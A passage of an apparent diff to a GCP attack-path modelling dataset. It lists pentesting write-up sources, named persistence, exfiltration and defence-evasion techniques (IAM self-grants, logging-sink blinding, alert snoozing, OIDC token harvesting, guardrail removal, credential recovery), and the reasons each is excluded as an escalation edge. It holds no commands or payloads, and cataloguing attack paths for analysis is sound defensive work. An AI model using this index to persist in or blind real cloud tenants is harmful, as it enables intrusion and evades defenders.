Google service account. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-iam-persistence.md#resourcemanagersetiampolicy---plant-a-durable-hierarchy-binding + technique: resourcemanager.*.setIamPolicy - Plant a durable hierarchy binding + reason: The project/folder/organization IAM self-grant uses resourcemanager.*.setIamPolicy, already modeled by the matching resourcemanager policy-write entries; + this section describes retaining the grant. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-workflows-persistence.md#source-only-update---keep-a-privileged-identity-after-actas-is-revoked + technique: Source-only update - keep a privileged identity after actAs is revoked + reason: The same source-only workflow update retaining its attached service account is modeled by gcp-workflows-update-source-retain-sa. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-sql-persistence.md#create-a-user-or-rotate-a-password + technique: Create a user or rotate a password + reason: The resulting credential or operation is confined to the Cloud SQL database plane; it cannot impersonate the instance service account. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-sql-persistence.md#cloudsqlsslcertscreate--mint-a-durable-client-certificate + technique: cloudsql.sslCerts.create — mint a durable client certificate + reason: The resulting credential or operation is confined to the Cloud SQL database plane; it cannot impersonate the instance service account. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-sql-persistence.md#in-engine-scheduled-task-cloudsqlenable_pg_cron--mysql-event_scheduler--self-triggering-db-persistence + technique: In-engine scheduled task (cloudsql.enable_pg_cron / MySQL event_scheduler) — self-triggering DB persistence + reason: The resulting credential or operation is confined to the Cloud SQL database plane; it cannot impersonate the instance service account. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-iam-deny-policies-persistence.md#iamdenypoliciescreate + technique: iam.denypolicies.create + reason: Deny/PAB policy editing changes a guardrail on existing permissions; it does not by itself add a second principal or role. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-iam-deny-policies-persistence.md#angle-2--guardrail-removal-privesc-enabler-deleterelax-a-pab-blocking-you + technique: Angle 2 — guardrail-removal privesc-enabler (delete/relax a PAB blocking you) + reason: Deny/PAB policy editing changes a guardrail on existing permissions; it does not by itself add a second principal or role. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cluster-director-persistence.md#hypercomputeclusterclustersupdate--iamserviceaccountsactas--persist-a-login-fleet-startup-hook + technique: hypercomputecluster.clusters.update + iam.serviceAccounts.actAs — persist a login-fleet startup hook + reason: The same cluster update plus actAs login-node startup hook is modeled by gcp-hypercomputecluster-login-node-startup-actas; this section describes its persistence. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-vpc-service-controls-persistence.md#gcpuseraccessbindingscreateupdate--90-day-workforce-looker-sessions + technique: gcpUserAccessBindings.create/update — 90-day Workforce Looker sessions + reason: The binding extends an existing Workforce Looker session, which is application access rather than another Google Cloud IAM principal's roles. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-bigquery-persistence.md#bigquerydatasetsupdate--bigquerydatasetssetiampolicy--persistent-dataset-acl-grant + technique: bigquery.datasets.update / bigquery.datasets.setIamPolicy — persistent dataset ACL grant + reason: Duplicate durable variant of the active BigQuery dataset self-grant paths; no distinct source action or newly effective permission beyond those entries. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-essential-contacts-persistence.md#essentialcontactscontactscreate + technique: essentialcontacts.contacts.create + reason: An added essential contact receives operational/security notifications; it is an information feed, not an IAM grant. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-app-engine-persistence.md#cron-based-persistence-cronyaml + technique: Cron-based persistence (cron.yaml) + reason: Cron only invokes an existing App Engine handler; code execution as the app service account already requires deploying a backdoored version, modeled by + gcp-appengine-versions-create-actas or its legacy default-SA variant. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-looker-persistence.md#project-level-iam-binding-of-roleslookeradmin-to-a-controlled-principal + technique: Project-level IAM binding of roles/looker.admin to a controlled principal + reason: The project/folder/organization IAM self-grant uses resourcemanager.*.setIamPolicy, already modeled by the matching resourcemanager policy-write entries; + this section describes retaining the grant. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-firestore-persistence.md#datastoreusercreds--mint-db-native-credentials-iam-independent-persistence--data-plane-exfil + technique: datastore.userCreds.* — mint DB-native credentials (IAM-independent persistence / data-plane exfil) + reason: The credential is for a database, host, TLS client or application plane, not a Google IAM service account. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-eventarc-persistence.md#eventarcpipelinescreate--recurring-oauth-token-delivery-as-an-identity-level-backdoor + technique: eventarc.pipelines.create — recurring OAuth-token delivery as an identity-level backdoor + reason: The same Eventarc OAuth-token pipeline plus actAs path is modeled by gcp-eventarc-pipeline-oauth-token-actas; this section describes a recurring delivery + schedule. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-bare-metal-solution-persistence.md#project-level-ssh-key-backdoor-baremetalsolutionsshkeyscreate + technique: Project-level SSH key backdoor (baremetalsolution.sshKeys.create) + reason: A project SSH key grants Bare Metal host login, not Google IAM service-account impersonation. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-bare-metal-solution-persistence.md#serial-console-left-enabled-baremetalsolutioninstancesenableinteractiveserialconsole + technique: Serial console left enabled (baremetalsolution.instances.enableInteractiveSerialConsole) + reason: Serial-console access is a Bare Metal host-control foothold; it does not grant a Google IAM principal. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-bare-metal-solution-persistence.md#standing-nfs-allowlist-entry-baremetalsolutionnfssharesupdate + technique: Standing NFS allowlist entry (baremetalsolution.nfsshares.update) + reason: The described standing change collects or exposes data, changes monitoring or recovery, or preserves application access; it does not grant another Google + IAM principal's roles. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-liens-persistence.md#resourcemanagerprojectscreatelien + technique: resourcemanager.projects.createLien + reason: A lien blocks project deletion until removed; it protects a foothold but grants no role or identity. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-asset-inventory-persistence.md#cloudassetfeedscreate--asset-feed-to-an-attacker-controlled-pubsub-topic + technique: cloudasset.feeds.create — asset feed to an attacker-controlled Pub/Sub topic + reason: The feed continuously copies asset and IAM-policy changes to Pub/Sub; it grants intelligence, not use of any listed principal. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-bigtable-persistence.md#durable-change-stream-wiretap-bigtabletablesupdate + technique: Durable change-stream wiretap (bigtable.tables.update) + reason: The described standing change collects or exposes data, changes monitoring or recovery, or preserves application access; it does not grant another Google + IAM principal's roles. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-bigtable-persistence.md#silent-rolling-automated-backups-bigtabletablesupdate + technique: Silent rolling automated backups (bigtable.tables.update) + reason: The described standing change collects or exposes data, changes monitoring or recovery, or preserves application access; it does not grant another Google + IAM principal's roles. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-domains-persistence.md#domainsregistrationssetiampolicy--registration-scoped-iam-persistence + technique: domains.registrations.setIamPolicy — registration-scoped IAM persistence + reason: The binding grants access to a domain-registration resource; the independent Workspace recovery path is modeled by gcp-domains-configuredns-workspace-admin-recovery. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-vmwareengine-gcve-persistence.md#privatecloudssetiampolicy--durable-iam-binding-for-a-controlled-principal + technique: privateClouds.setIamPolicy — durable IAM binding for a controlled principal + reason: The binding grants VMware Engine private-cloud control to a controlled principal; vCenter/NSX credentials are separate from Google IAM service accounts. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-monitoring-persistence.md#alert-policy--attacker-channel-as-a-defender-activity-feed---monitoringalertpoliciescreate--monitoringnotificationchannelscreate + technique: Alert policy + attacker channel as a defender-activity feed - monitoring.alertPolicies.create + monitoring.notificationChannels.cr + reason: The described standing change collects or exposes data, changes monitoring or recovery, or preserves application access; it does not grant another Google + IAM principal's roles. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-monitoring-persistence.md#hijacking-the-existing-alert-delivery-path---monitoringnotificationchannelsupdate + technique: Hijacking the existing alert delivery path - monitoring.notificationChannels.update + reason: The described standing change collects or exposes data, changes monitoring or recovery, or preserves application access; it does not grant another Google + IAM principal's roles. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-monitoring-persistence.md#long-lived-snooze-as-durable-blindness---monitoringsnoozescreate--update + technique: Long-lived snooze as durable blindness - monitoring.snoozes.create / .update + reason: The described standing change collects or exposes data, changes monitoring or recovery, or preserves application access; it does not grant another Google + IAM principal's roles. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-monitoring-persistence.md#uptime-check-as-a-recurring-outbound-channel---monitoringuptimecheckconfigscreate + technique: Uptime check as a recurring outbound channel - monitoring.uptimeCheckConfigs.create + reason: The described standing change collects or exposes data, changes monitoring or recovery, or preserves application access; it does not grant another Google + IAM principal's roles. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-monitoring-persistence.md#scheduled-service-agent-oidc-token-harvesting---monitoringuptimecheckconfigscreate--an-endpoint-you-control + technique: Scheduled service-agent OIDC token harvesting - monitoring.uptimeCheckConfigs.create + an endpoint you control + reason: The delivered OIDC token is audience-bound to the configured endpoint and cannot be exchanged for a general Google API access token. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-service-directory-persistence.md#servicedirectorynamespacesservicessetiampolicy--resource-scoped-iam-persistence + technique: servicedirectory.namespaces/services.setIamPolicy — resource-scoped IAM persistence + reason: The binding grants management of Service Directory namespaces or services only; it does not grant a workload service account. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-data-fusion-persistence.md#instancenamespace-iam-binding-for-a-controlled-principal-datafusioninstancessetiampolicy + technique: Instance/namespace IAM binding for a controlled principal (datafusion.instances.setIamPolicy) + reason: The same datafusion.instances.setIamPolicy self-grant followed by Data Fusion pipeline execution is modeled by gcp-datafusion-setiampolicy-self-grant. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-deploy-persistence.md#clouddeployrolloutsrollback--re-arm-a-backdoor-release-on-demand + technique: clouddeploy.rollouts.rollback — re-arm a backdoor release on demand + reason: Rollback reactivates a previously created release; this permission alone cannot author a new artifact or select a new execution identity. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-deploy-persistence.md#clouddeployreleasesabandon--foreclose-the-rollback-remediation-path + technique: clouddeploy.releases.abandon — foreclose the rollback remediation path + reason: Abandoning a release blocks rollback and remediation; it provides no new execution identity. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-contact-center-insights-persistence.md#standing-analysis-rule--continuous-auto-analysis-of-new-conversations-analysisrulescreate + technique: Standing analysis rule → continuous auto-analysis of new conversations (analysisRules.create) + reason: The rule continually analyzes future conversations and extracts PII; it does not provide a second Google IAM principal. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-contact-center-insights-persistence.md#standing-redaction-disable-via-settingsupdate--durable-raw-pii-capture + technique: Standing redaction-disable via settings.update — durable raw-PII capture + reason: The described standing change collects or exposes data, changes monitoring or recovery, or preserves application access; it does not grant another Google + IAM principal's roles. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-contact-center-insights-persistence.md#authorized-view-iam-binding-for-a-controlled-principal-authorizedviewssetiampolicy + technique: Authorized-view IAM binding for a controlled principal (authorizedViews.setIamPolicy) + reason: The binding grants continued access only to the named service resource or its data plane; it does not yield a separate service account's IAM permissions. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-spanner-persistence.md#standing-data-role-grant-to-a-throwaway-principal-setiampolicy-backdoor + technique: Standing data-role grant to a throwaway principal (setIamPolicy backdoor) + reason: Duplicate durable variant of the active Spanner database/instance IAM self-grant paths. A binding to a separate throwaway principal would require an exact + target-principal possession proof not documented here. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-storage-persistence.md#storagehmackeyscreate + technique: storage.hmacKeys.create + reason: The same HMAC-key creation path and Cloud Storage-scoped target are modeled by gcp-storage-hmackeys-create; this section emphasizes credential persistence. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-storage-persistence.md#storagebucketsupdate--pubsub-object-notification-exfil--monitoring-channel + technique: storage.buckets.update — Pub/Sub object-notification exfil & monitoring channel + reason: The described standing change collects or exposes data, changes monitoring or recovery, or preserves application access; it does not grant another Google + IAM principal's roles. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-storage-persistence.md#storagebucketsupdate--default-object-acl-poisoning-auto-expose-future-objects + technique: storage.buckets.update — default-object-ACL poisoning (auto-expose future objects) + reason: The described standing change collects or exposes data, changes monitoring or recovery, or preserves application access; it does not grant another Google + IAM principal's roles. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-managed-flink-persistence.md#managedflinkjobscreate--long-running-streaming-job-foothold + technique: managedflink.jobs.create — long-running streaming-job foothold + reason: The same managedflink.jobs.create plus actAs deployment identity path is modeled by gcp-managedflink-jobs-create-actas; this section describes keeping the + job running. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-pam-persistence.md#broaden-or-hijack-an-existing-entitlement-entitlementsupdate--entitlementssetiampolicy + technique: Broaden or hijack an existing entitlement (entitlements.update / entitlements.setIamPolicy) + reason: PAM checks that the editor could already grant the entitlement's offered role; changing eligibleUsers or approvalWorkflow therefore cannot create a role + beyond the editor's existing IAM authority. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-logging-persistence.md#loggingsinkscreate + technique: logging.sinks.create + reason: The described standing change collects or exposes data, changes monitoring or recovery, or preserves application access; it does not grant another Google + IAM principal's roles. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-logging-persistence.md#loggingsinksupdate--durable-blinding-of-_default-exclusion-or-disable + technique: logging.sinks.update — durable blinding of _Default (exclusion or disable) + reason: The described standing change collects or exposes data, changes monitoring or recovery, or preserves application access; it does not grant another Google + IAM principal's roles. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-logging-persistence.md#loggingbucketsupdate---locked--anti-remediation-retention-floor + technique: logging.buckets.update --locked — anti-remediation retention floor + reason: The described standing change collects or exposes data, changes monitoring or recovery, or preserves application access; it does not grant another Google + IAM principal's roles. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-security-command-center-persistence.md#security-posture-tamper--revert-preventive-guardrails-silently-securitypostureposturedeployments + technique: Security Posture tamper — revert **preventive** guardrails, silently (securityposture.postureDeployments.*) + reason: The described standing change collects or exposes data, changes monitoring or recovery, or preserves application access; it does not grant another Google + IAM principal's roles. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-dlp-persistence.md#dlpjobtriggerscreate--recurring-sensitive-value-collection + technique: dlp.jobTriggers.create — recurring sensitive-value collection + reason: The described standing change collects or exposes data, changes monitoring or recovery, or preserves application access; it does not grant another Google + IAM principal's roles. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-managed-kafka-persistence.md#durable-kafka-connect-connector-as-a-standing-tap-managedkafkaconnectorscreate + technique: Durable Kafka Connect connector as a standing tap (managedkafka.connectors.create) + reason: The described standing change collects or exposes data, changes monitoring or recovery, or preserves application access; it does not grant another Google + IAM principal's roles. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-managed-kafka-persistence.md#attacker-created-topic-as-a-covert-channel--dead-drop-managedkafkatopicscreate + technique: Attacker-created topic as a covert channel / dead-drop (managedkafka.topics.create) + reason: The described standing change collects or exposes data, changes monitoring or recovery, or preserves application access; it does not grant another Google + IAM principal's roles. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-managed-kafka-persistence.md#kafka-acl-granting-a-controlled-principal-durable-topic-access-managedkafkaaclscreate--updateentries + technique: Kafka ACL granting a controlled principal durable topic access (managedkafka.acls.create / updateEntries) + reason: This can add Kafka broker ACL rights, but the current GCP typed IAM self-grant contract cannot prove Kafka ACL principal mapping, operation, topic target, + and before/after broker authorization. Retain as a reviewed schema gap, not an active path. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-managed-kafka-persistence.md#project-level-rolesmanagedkafkaclient-grant-to-a-controlled-identity + technique: Project-level roles/managedkafka.client grant to a controlled identity + reason: The project/folder/organization IAM self-grant uses resourcemanager.*.setIamPolicy, already modeled by the matching resourcemanager policy-write entries; + this section describes retaining the grant. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cx-agent-studio-persistence.md#cesagentsupdate--cestoolsupdate--implant-persistent-agent-behavior + technique: ces.agents.update / ces.tools.update — implant persistent agent behavior + reason: Agent/tool edits alter application behavior when the agent runs; no Google IAM service-account token or role is granted by the edit. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cx-agent-studio-persistence.md#cesappversionscreate--cesdeploymentsupdate--pin-a-backdoored-immutable-version + technique: ces.appVersions.create + ces.deployments.update — pin a backdoored immutable version + reason: Pinning an app version preserves a backdoored agent application; it does not yield a Google IAM service-account identity. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-api-keys-persistence.md#apikeyskeyscreate--apikeyskeysgetkeystring + technique: apikeys.keys.create (+ apikeys.keys.getKeyString) + reason: An API key identifies a project for key-accepting APIs; it is not an OAuth credential for a service account or user. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-api-keys-persistence.md#apikeyskeysundelete--revive-a-key-the-defender-already-deleted + technique: apikeys.keys.undelete — revive a key the defender already deleted + reason: An API key identifies a project for key-accepting APIs; it is not an OAuth credential for a service account or user. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-certificate-authority-service-persistence.md#privatecacertificateauthoritiescreate--attacker-controlled-signing-key--retain-a-trusted-subordinate-ca-credential + technique: privateca.certificateAuthorities.create + attacker-controlled signing key — retain a trusted subordinate CA credential + reason: A subordinate CA can sign certificates inside its trust domain, but cannot authenticate as a Google IAM service account. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-healthcare-persistence.md#healthcarefhirstoresupdate--stream-future-fhir-versions-to-bigquery + technique: healthcare.fhirStores.update — stream future FHIR versions to BigQuery + reason: The described standing change collects or exposes data, changes monitoring or recovery, or preserves application access; it does not grant another Google + IAM principal's roles. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-healthcare-persistence.md#healthcarefhirstoresupdate--publish-future-full-fhir-resources-to-pubsub + technique: healthcare.fhirStores.update — publish future full FHIR resources to Pub/Sub + reason: The described standing change collects or exposes data, changes monitoring or recovery, or preserves application access; it does not grant another Google + IAM principal's roles. +- source: src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-bigtable-unauthenticated-enum.md#tables-granted-bigtabletablesreadrows-to-allusers--allauthenticatedusers + technique: Tables granted bigtable.tables.readRows to allUsers / allAuthenticatedUsers + reason: The public Bigtable table binding exposes table rows; it gives no permission to act as the table owner or service account. +- source: src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-firebase-unauthenticated-enum.md#anonymous-sign-up--bypass-if-requestauth--null-rules + technique: Anonymous sign-up → bypass if request.auth != null rules + reason: Anonymous Firebase sign-up satisfies an overly broad application security rule; it does not grant a Google Cloud IAM principal's roles. +- source: src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-cloud-tasks-unauthenticated-enum.md#queues-granted-cloudtaskstaskscreate-to-allusers--allauthenticatedusers + technique: Queues granted cloudtasks.tasks.create to allUsers / allAuthenticatedUsers + reason: A public queue binding permits unauthenticated task enqueueing; without actAs on the queue token service account it does not supply that account's IAM privileges. +- source: src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-iap-unauthenticated-enum.md#allusers--rolesiaphttpsresourceaccessor-bypass + technique: allUsers → roles/iap.httpsResourceAccessor bypass + reason: The allUsers IAP binding exposes the protected application to the public; it does not impersonate the application service account. +- source: src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-cloud-run-unauthenticated-enum.md#claim-a-released-cloudrun-custom-url + technique: Claim a released *.cloud.run custom URL + reason: Claiming a retired custom URL can capture traffic or credentials sent to that hostname, but no configuration-derived Google principal is obtained. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataform-privesc.md#dataformworkflowinvocationscreate--invoke-an-existing-compilation-result-or-user-credential-workflow + technique: Invoke saved Dataform actions as their effective service account + reason: Invokes only saved actions as an existing identity; no arbitrary code, credential, or new permission for the source is established. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-orgpolicy-privesc.md#orgpolicypolicyset + technique: orgpolicy.policy.set lifts org policy constraints + reason: Changes a guardrail or access context but does not identify the exact principal or added permission reached by a complete escalation chain. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-orgpolicy-privesc.md#orgpolicypoliciescreate--orgpolicypoliciesupdate-v2-api--disable-guardrails-at-project-scope + technique: Org Policy v2 policies.create / update / delete + reason: Changes a guardrail or access context but does not identify the exact principal or added permission reached by a complete escalation chain. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-access-context-manager-privesc.md#accesscontextmanagerserviceperimetersupdate--defeat-vpc-sc-data-exfil-protection + technique: Service perimeter update + reason: Changes a guardrail or access context but does not identify the exact principal or added permission reached by a complete escalation chain. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-access-context-manager-privesc.md#accesslevelsreplaceall--serviceperimetersreplaceall--atomic-bulk-overwrite-distinct-audit-method + technique: Bulk replaceAll of access levels / perimeters + reason: Changes a guardrail or access context but does not identify the exact principal or added permission reached by a complete escalation chain. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-access-context-manager-privesc.md#dry-run-spec-vs-enforced-status--stealth-staging--one-call-flip + technique: Dry-run spec staging and enforcement flip + reason: Changes a guardrail or access context but does not identify the exact principal or added permission reached by a complete escalation chain. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-access-context-manager-privesc.md#authorizedorgsdescs-authorized-orgs--cross-org-trust-injection + technique: Authorized orgs injection + reason: Changes a guardrail or access context but does not identify the exact principal or added permission reached by a complete escalation chain. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataform-privesc.md#dataformworkflowinvocationscreate--invoke-an-existing-compilation-result-or-user-credential-workflow + technique: Trigger an existing Dataform workflow configuration that runs with a Google Account's user credentials + reason: Invokes only saved actions as an existing identity; no arbitrary code, credential, or new permission for the source is established. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-access-context-manager-privesc.md#accesscontextmanageraccesslevelsupdate--loosen-context-aware-access + technique: Loosen access level for attacker IP, device, region or principal + reason: Terminal bounded action; this entry expressly grants no named principal identity or additional permission. Model a concrete downstream escalation only after + its complete prerequisite path is proved. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-access-context-manager-privesc.md#accesscontextmanagerserviceperimetersupdate--defeat-vpc-sc-data-exfil-protection + technique: Create a bridge perimeter joining attacker and victim projects + reason: Terminal bounded action; this entry expressly grants no named principal identity or additional permission. Model a concrete downstream escalation only after + its complete prerequisite path is proved. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-access-context-manager-privesc.md#accesscontextmanagerserviceperimetersupdate--defeat-vpc-sc-data-exfil-protection + technique: Delete a perimeter or access level to remove protection + reason: Terminal bounded action; this entry expressly grants no named principal identity or additional permission. Model a concrete downstream escalation only after + its complete prerequisite path is proved. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-access-context-manager-privesc.md#gcpuseraccessbindings-cloud-bindings--context-removal-or-extended-workforce-sessions + technique: Delete or weaken a group context-aware access binding + reason: Terminal bounded action; this entry expressly grants no named principal identity or additional permission. Model a concrete downstream escalation only after + its complete prerequisite path is proved. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-beyondcorp-privesc.md#repoint-an-application-the-caller-can-already-use-to-another-web-target-behind-its-existing-upstream + technique: Repoint accessible gateway app to new internal HTTP(S) host + reason: Terminal bounded action; this entry expressly grants no named principal identity or additional permission. Model a concrete downstream escalation only after + its complete prerequisite path is proved. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md#bigquerydatapoliciesdelete--datacatalogtaxonomiesupdate--disable-column-level-enforcement + technique: Delete policies and deactivate taxonomy enforcement + reason: Terminal bounded action; this entry expressly grants no named principal identity or additional permission. Model a concrete downstream escalation only after + its complete prerequisite path is proved. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md#bigqueryrowaccesspolicies--widen-or-remove-row-level-security + technique: Widen or delete row-access policy + reason: Terminal bounded action; this entry expressly grants no named principal identity or additional permission. Model a concrete downstream escalation only after + its complete prerequisite path is proved. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigtable-privesc.md#bigtableauthorizedviewsupdate--widen-a-view-that-you-can-already-use + technique: Widen a view caller can already read or mutate + reason: Terminal bounded action; this entry expressly grants no named principal identity or additional permission. Model a concrete downstream escalation only after + its complete prerequisite path is proved. +- source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-application-integration-privesc.md#integrationsintegrationsinvoke--invoke-a-credentialed-workflow + technique: Invoke existing published credentialed integration with chosen inputs + reason: Terminal bounded action; this entry expressly grants no named principal identity or additional permission. Model a concrete downstream escalation only after + its complete prerequisite path is proved. +- source: src/pentesting-cloud/gcp-security/gcp-cross-project-attacks/historical-cross-project-vulnerabilities.md#authorization-bypass-and-shadow-resources + technique: ConfigConfusion in-cluster RBAC permits IAMPolicyMember CRD self grant + reason: Terminal bounded action; this entry expressly grants no named principal identity or additional permission. Model a concrete downstream escalation only after + its complete prerequisite path is proved. +- source: src/pentesting-cloud/gcp-security/gcp-basic-information/README.md#remove + technique: Delete PAB binding or policy to lift principal resource boundary + reason: Terminal bounded action; this entry expressly grants no named principal identity or additional permission. Model a concrete downstream escalation only after + its complete prerequisite path is proved. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-private-catalog-persistence.md#durable-poisoned-product-in-an-associated-catalog + technique: Associate poisoned catalog with additional consumer hierarchy + reason: Terminal bounded action; this entry expressly grants no named principal identity or additional permission. Model a concrete downstream escalation only after + its complete prerequisite path is proved. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md#workflowsexecutionscreate--invoke-an-existing-privileged-workflow + technique: Invoke privileged existing workflow with chosen parameters + reason: Terminal bounded action; this entry expressly grants no named principal identity or additional permission. Model a concrete downstream escalation only after + its complete prerequisite path is proved. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md#workflowscallbackssend--inject-data-into-a-paused-privileged-execution + technique: Inject callback data into paused privileged execution + reason: Terminal bounded action; this entry expressly grants no named principal identity or additional permission. Model a concrete downstream escalation only after + its complete prerequisite path is proved. +- source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md#workspace-super-administrator-to-gcp-organization-administrator + technique: Workspace or Cloud Identity super administrator takes over the associated Google Cloud organization + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/README.md#bypassing-access-scopes + technique: Steal a service-account key from a compromised VM to bypass narrow metadata-token scopes + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md#container-breakout-via-docker-socket-container---vm---project + technique: Escape workstation container to VM and steal metadata SA token + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md#google-groups-privilege-escalation + technique: Self-join a Google Group whose join setting is open to the source + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-engine-post-exploitation.md#read-application-logs-with-logginglogentrieslist + technique: Recover credentials printed in App Engine logs + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-engine-post-exploitation.md#read-or-poison-app-engine-memcache-data + technique: Recover cached session token from Memcache + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-engine-post-exploitation.md#read-source-code + technique: Recover hard-coded credentials from retained App Engine deployment source + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-engine-post-exploitation.md#read-secrets-and-deployment-locations-from-version-configuration + technique: Read literal secrets from App Engine version environment + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path and exact target gain. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-artifact-registry-post-exploitation.md#artifactregistryrepositoriesdownloadartifacts--inspect-stored-artifacts-for-sensitive-data + technique: Recover credentials embedded in Artifact Registry package or image + reason: No source permission/action is declared in requires. A reviewed credential or target fact alone cannot establish the source principal can perform the prerequisite + action. Re-admit only with an explicit, validated action path 